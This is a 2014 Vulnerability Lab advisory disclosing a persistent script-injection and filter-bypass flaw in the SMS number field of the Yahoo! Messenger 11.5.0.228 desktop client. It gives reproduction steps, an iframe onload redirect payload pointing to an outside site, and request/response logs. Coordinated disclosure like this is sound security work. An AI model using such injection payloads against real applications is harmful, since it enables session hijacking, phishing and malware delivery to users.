Yahoo! Bug Bounty #29 YM - Filter Bypass & Persistent Web Vulnerability

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
Yahoo! Bug Bounty #29 YM - Filter Bypass & Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1136

Video: http://www.vulnerability-lab.com/get_content.php?id=1279


Release Date:
=============
2014-07-07


Vulnerability Laboratory ID (VL-ID):
====================================
1136


Common Vulnerability Scoring System:
====================================
6.3


Product & Service Introduction:
===============================
Yahoo! Inc. is an American multinational internet corporation headquartered in 
Sunnyvale, California. It is widely known 
for its web portal, search engine Yahoo! Search, and related services, 
including Yahoo! Directory, Yahoo! Mail, Yahoo! 
News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online 
mapping, video sharing, fantasy sports and its 
social media website. It is one of the most popular sites in the United States. 
According to news sources, roughly 700 
million people visit Yahoo! websites every month. Yahoo! itself claims it 
attracts `more than half a billion consumers 
every month in more than 30 languages.

(Copy of the Vendor Homepage: http://www.yahoo.com )


Abstract Advisory Information:
==============================
The Vulnerability-Laboratory Research Team has discovered multiple 
vulnerabilities in the official Yahoo! Messenger software v11.5.0.228 
application.


Vulnerability Disclosure Timeline:
==================================
2013-07-31:     Researcher Notification & Coordination (Ateeq ur Rehman Khan - 
Core Research Team)
2013-08-01:     Vendor Notification (Yahoo! Security Team - Bug Bounty Program)
2013-09-01:     Vendor Response/Feedback (Yahoo! Security Team - Bug Bounty 
Program)
2014-06-01:     Vendor Fix/Patch (Yahoo! Developer Team - Reward: HackerOne 
Program)
2014-07-07:     Public Disclosure (Vulnerability Laboratory)



Discovery Status:
=================
Published


Affected Product(s):
====================
Yahoo!
Product: Yahoo! Messenger Desktop (US) 11.5.0.228 (US)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An input filter bypass & persistent web vulnerability has been discovered in 
the official Yahoo! Messenger (11.5.0.228-us) Desktop Application. 
The persistent remote web vulnerability affects the software exception handling 
module of the phone `SMS` feature in the application. 

It was initially discovered that while sending an `SMS`, the Yahoo IM 
application validates all entered numbers through a 
remote host: validate.msg.yahoo.com. If the number is invalid/malicious the 
remote host responds with an `unknown number` exception 
which is then handled by the IM application in a new msg window. While handling 
the exception, the injected code gets executed 
successfully in the new msg window where the exception is processed as HTML. 

Malicious requests can be injected in the `Enter Mobile Number` input field 
using a filter bypass technique while sending an SMS 
through the Yahoo IM application. It seems that basic security controls are in 
place to restrict user from typing in Alphabets and 
special characters when sending an SMS however a simple copy/paste of a 
specially crafted payload bypasses the restriction quite 
easily and results in successful code execution of the injected scripts code.

The security risk of the filter bypass and persistent vulnerability is 
estimated as high with a cvss (common vulnerability scoring 
system) count of 6.3.

This type of vulnerability can be exploited by a non privileged / unauthorized 
remote attackers and requires a normal application 
user account (victim). The successful exploitation of the remote vulnerability 
results in session hijacking, persistent phishing, 
persistent external redirect, persistent external malware loads and persistent 
manipulation of affected module context.

Request Method(s):
                                [+] POST

Vulnerable Service(s):
                                [+] Yahoo! Messenger - Desktop Application 
v11.5.0.228-us (software)

Vulnerable Parameter(s):
                                [+] Enter Mobile Number

Affected Module(s): 
                                [+] Send An SMS > Mobile Number


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote 
attackers with low user interaction and low privileged 
web application user account. For demonstration or to reproduce ...

Manual steps to reproduce the vulnerability ...
1. Login to your Yahoo IM application
2. Click on the Send an SMS icon
3. Inject the "Payload" in the "Enter Mobile Number" input field
4. A new IM window should popup and shortly your browser should be redirected 
to my website proving the existence of this vulnerability


PoC: Payload
'%3d'>"><iframe src='http://vulnerability-lab.com' 
onload=window.location=('http://evolution-sec.com')></iframe>/927

--- PoC Session Logs ---
HTTP Requests: POST /mobileno?intl=us&version=11.5.0.228 HTTP/1.1
Cookie: [HIDDEN]
path=/; domain=.yahoo.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5)
Host: validate.msg.yahoo.com
Content-Length: 153
Pragma: no-cache

<validate intl="us" version="11.5.0.228" qos="0"><mobile_no 
msisdn="1334372637724887885637224548952226666562325378762437263927"></mobile_no>
</validate>

-Response:
HTTP/1.1 200 OK
Date: Wed, 06 Nov 2013 12:52:31 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml";, CP="CAO DSP COR CUR ADM DEV 
TAI PSA PSD IVAi IVDi CONi 
TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR 

FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Length: 173
Cache-Control: private
Connection: close
Content-Type: text/html; charset=utf-8

<validate>
  <mobile_no 
msisdn="1334372637724887885637224548952226666562325378762437263927">
    <status>Unknown</status>
    <carrier></carrier>
  </mobile_no>
</validate>



Demonstration Video(s):
                        ../video.wmv

Reference(s):
http://www.yahoo.com
http://messenger.yahoo.com


Solution - Fix & Patch:
=======================
Proper security controls should be implemented/enforced in the IM application 
to validate input and restrict copy/paste of 
malicious requests in all affected input fields. Also restricting the 
exceptions response type so they are not processed as 
HTML by the IM application is recommended.




Security Risk:
==============
The security risk of the persistent exception-handling web vulnerability is 
estimated as high(-).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan 
(ateeq@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]



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